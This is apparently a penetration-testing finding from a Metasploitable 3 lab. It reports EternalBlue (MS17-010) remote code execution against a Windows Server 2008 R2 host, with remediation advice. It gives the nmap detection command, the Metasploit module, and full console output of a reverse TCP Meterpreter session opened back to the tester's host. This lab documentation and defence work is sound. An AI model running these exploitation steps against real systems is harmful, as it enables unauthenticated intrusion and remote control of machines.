

PENETRATION TESTING FINDING

Metasploitable 3 — Finding #03

SMBv1 MS17-010 (EternalBlue) — Remote Code Execution

Critical Severity | Remote Code Execution Demonstrated

Target	192.168.116.137
Port / Service	445/tcp — Microsoft SMB / Microsoft-DS
Target OS	Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (identified by Metasploit)
Severity	Critical
CVE	CVE-2017-0143
Vulnerability	MS17-010 / SMBv1 Remote Code Execution (EternalBlue)
Authentication	Not required for the demonstrated exploit path
Metasploit Module	exploit/windows/smb/ms17_010_eternalblue
Result	Meterpreter session successfully opened

1. Executive Summary

The target exposed SMBv1 on TCP/445 and was confirmed vulnerable to MS17-010. The vulnerability was successfully exploited using the Metasploit EternalBlue module, resulting in a Meterpreter session on the target without requiring valid credentials.

2. Discovery

The vulnerability was identified using the Nmap MS17-010 vulnerability detection script:

```
nmap -p445 --script smb-vuln-ms17-010 192.168.116.137
```

Nmap reported the host as VULNERABLE to the MS17-010 SMBv1 remote code execution vulnerability and associated it with CVE-2017-0143. The reported risk factor was HIGH.

3. Exploitation

Metasploit module:

```
use exploit/windows/smb/ms17_010_eternalblue
```

The exploit was configured against 192.168.116.137 on TCP/445 with the attacker's LHOST set to 192.168.116.128 and a reverse TCP Meterpreter payload.

Metasploit confirmed the target as vulnerable, established the connection required for exploitation, successfully completed the EternalBlue overwrite and triggered the corrupted buffer. The Meterpreter stage was then sent to the target.

4. Result

Confirmed successful remote code execution: Meterpreter session 3 opened from 192.168.116.128:4444 to 192.168.116.137:49882 at 2026-09-04 14:51:02 +0300.

5. Impact

Successful exploitation of MS17-010 can provide remote code execution through the SMB service. This may allow an attacker to compromise the host, access or modify data, deploy additional payloads, and use the compromised system as a pivot point for further attacks.

6. Evidence

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.116.128:4444
[*] 192.168.116.137:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.116.137:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.116.137:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.116.137:445 - The target is vulnerable.
[*] 192.168.116.137:445 - Connecting to target for exploitation.
[*] 192.168.116.137:445 - Connection established for exploitation.
[*] 192.168.116.137:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.116.137:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.116.137:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.116.137:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.116.137:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.116.137:445 - 0x00000030 6b 20 31 k 1
[*] 192.168.116.137:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.116.137:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.116.137:445 - Sending all but last fragment of exploit packet
[*] 192.168.116.137:445 - Starting non-paged pool grooming
[*] 192.168.116.137:445 - Sending SMBv2 buffers
[*] 192.168.116.137:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.116.137:445 - Sending final SMBv2 buffers.
[*] 192.168.116.137:445 - Sending last fragment of exploit packet!
[*] 192.168.116.137:445 - Receiving response from exploit packet
[*] 192.168.116.137:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.116.137:445 - Sending egg to corrupted connection.
[*] 192.168.116.137:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 192.168.116.137
[*] Meterpreter session 3 opened (192.168.116.128:4444 -> 192.168.116.137:49882) at 2026-09-04 14:51:02 +0300
[+] 192.168.116.137:445 - =====
[+] 192.168.116.137:445 - =====WIN=====
[+] 192.168.116.137:445 - =====

meterpreter > |
```

Figure 1 — Metasploit confirms MS17-010 exploitation and opens Meterpreter session 3.

7. Remediation

- Apply Microsoft security updates addressing MS17-010.
- Disable SMBv1 where operationally possible and migrate to newer SMB versions.
- Restrict TCP/445 exposure using host and network firewall rules.
- Limit SMB access to trusted systems and administrative networks.
- Monitor SMB traffic and investigate unexpected connections to TCP/445.

8. References

- Microsoft Security Bulletin MS17-010.
- NVD — CVE-2017-0143.
- Rapid7 Metasploit Framework — MS17-010 EternalBlue module.

Assessment note: Successful exploitation was directly validated in the Metasploitable 3 lab. The report records only evidence visible in the supplied exploitation output and does not infer privilege level beyond what was demonstrated.